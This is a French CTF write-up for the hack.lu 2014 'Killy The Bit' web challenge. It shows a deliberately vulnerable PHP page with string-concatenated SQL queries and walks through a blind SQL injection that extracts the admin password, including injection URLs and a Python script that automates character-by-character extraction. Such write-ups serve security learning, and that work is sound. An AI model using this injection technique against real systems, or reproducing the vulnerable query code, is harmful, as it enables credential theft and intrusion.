Outils d'utilisateurs

Outils du Site


hack.lu_2014:killy_the_bit

HACK.LU 2014 : Killy The Bit

Killy the Bit is one of the dangerous kittens of the wild west. He already flipped bits in most of the states and recently hacked the Royal Bank of Fluxembourg. All customer of the bank are now advised to change their password for the next release of the bank's website which will be launched on the 23.10.2014 10:01 CEST.

Killy the Bit stands in your debt and sent the following link. Can you break the password generation process in order to get access to the admin account?


On nous fourni la source de l'index :

<?php
include 'config.php';
 
echo "<html><head><style type='text/css'><!-- body {background-image: url(bg.jpg);background-repeat: no-repeat;height: Percent;width: Percent; background-size: cover;}//--></style> <title>Royal Bank of Fluxembourg</title></head></html>";
 
<!-- blind? we will kill you :) -->
if(isset($_GET['name']) && $_GET['name']!='' && !preg_match('/sleep|benchmark|and|or|\||&/i',$_GET['name'])) {
	$res = mysql_query("SELECT name,email FROM user where name='".$_GET['name']."'");
 
	if(mysql_fetch_object($res)) {		
		// Generation of new password
		//<topsecure content>
		// this was filtered during the creation of the phps file
		//</topsecure content>
		die("A new password was generated and sent to your email address!");
	} else {
 
 
	$res = mysql_query("SELECT name,email FROM user where name sounds like '".$_GET['name']."'");
 
		if(mysql_fetch_object($res)) {
			echo "We couldn't find your username, but it sounds like this user:<br>";
		} else {
			die("We couldn't find your username!<br>Are you sure it is ".htmlspecialchars($_GET['name'],ENT_QUOTES, 'utf-8')."?");
		}
        $res = mysql_query("SELECT name,email FROM user where name sounds like '".$_GET['name']."'");
 
		while($row = mysql_fetch_object($res)) {
		   echo $row->name;
		   echo "<br>";
		}
	}
} else {
 
echo "<div style='width:800px; margin:0 auto;'><hr><h1><center>Royal Bank of Fluxembourg<center></h1><hr><br><br>Dear users,<br>We were hacked by Killy the Bit! Please use this site to generate your new password. Login will be available on the 23.10.2014 10:01 CEST<br><br><br></div>";
	 echo '<div style="width:400px;margin:0 auto;"<pre><img src=wanted.png></img></pre><br><br>';
	echo '<form action="#" method="get">Please enter your username: <br><input type="text" name="name"><br><input type="submit" name="submit" value="Generate"></form></div>';
}
 
?>

Il va s'agir d'injection SQL.
On remarque que se succèdent deux requêtes quasi identiques, mais pas vraiment :

SELECT name,email FROM USER WHERE name='{var name}'
SELECT name,email FROM USER WHERE name sounds LIKE '{var name}'

On a ensuite une troisième requête si la première ne retourne aucun résultat et si la seconde en renvoi un (ou plusieurs) :

SELECT name,email FROM USER WHERE name sounds LIKE '{var name}'

C'est la même que la seconde, mais cette fois-ci sa sortie sera affichée à l'écran.

Le dilemme : comment avoir un résultat null pour la première et en avoir pour la seconde?
Simplement en mettant addmin au lieu de admin.
Oui mais si on tente un union pour récupérer la colonne passwd et l'afficher on va se retrouver avec un résultat et du coup on ne passe plus la première.
C'est donc une fausse piste.

On va attaquer ça à l'aveugle avec une belle injection qui rox du poney!

Voici l'injection qui m'a permis de trouver la longueur du pass de l'admin :

https://wildwildweb.fluxfingers.net:1424/
?name=
addmin' 
union 
all select concat(user.name,"::",user.passwd,"::",user.email),null from user 
inner join user as u2 on user.name = 'admin' 
inner join user as u3 on length(user.passwd) = 59 
where user.name = 'admin

Bien sûre au début il faut utiliser des comparaisons 'supérieur à' au lieu du 'égal' histoire d'aller plus vite ;)

Ensuite il faut trouver chaque lettre, une à une, en aveugle.
Voici par exemple la requête indiquant le premier caractère :

https://wildwildweb.fluxfingers.net:1424/
?name=
addmin' 
union 
all select user.passwd,null from user 
inner join user as u2 on user.name = 'admin' 
inner join user as u3 on ascii(mid(user.passwd,1,1)) = f 
where user.name = 'admin

Il ne me reste plus qu'a faire un beau petit script en Python pour automatiser tout ça!

# -*- coding: utf-8 -*-
 
'''
    HACK.LU CTF 2014
    Killy The Bit (Web 200)
 
    Python script for blind injection by Krach
    contact{at}krach.me
'''
 
import sys
import signal
import re
import urllib2
 
KARSET = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\]^ `{|}~_"
TRUE_KEYWORD = "generated"
 
def signal_handler(signal, frame):
    print("User abort!")
    sys.exit(0)
 
if __name__ == "__main__":
    signal.signal(signal.SIGINT, signal_handler)
 
    print "[*] charset : %s" % (KARSET)
 
    opener = urllib2.build_opener()
 
    recup = ""
    for i in range(1,65):
        charfind = False
        for c in KARSET:
            URL_BASE = "https://wildwildweb.fluxfingers.net:1424/?name=" 
            URL_ARGS = "addmin' union " \
                "all select user.passwd,null from user " \
                "inner join user as u2 on user.name = 'admin' " \
                "inner join user as u3 on ascii(mid(user.passwd,%d,1)) = %d " \
                "where user.name = 'admin" % (i, ord(c))
            content = opener.open("%s%s" % (URL_BASE, urllib2.quote(URL_ARGS))).read()
            m = re.search(TRUE_KEYWORD, content)
            if(m):
                charfind = True
                recup += c
                print "[+] Char found. [%s]" % (recup)
                break
        if not charfind:
            break
 
    print "Done!" 

Un peu de patience et le tour est joué :
flag{Killy_The_Bit_Is_Wanted_for_9000_$$_FoR_FlipPing_Bits}


Par Krach (contact{at}krach{dot}me)


hack.lu_2014/killy_the_bit.txt · Dernière modification: 2017/04/09 15:33 (modification externe)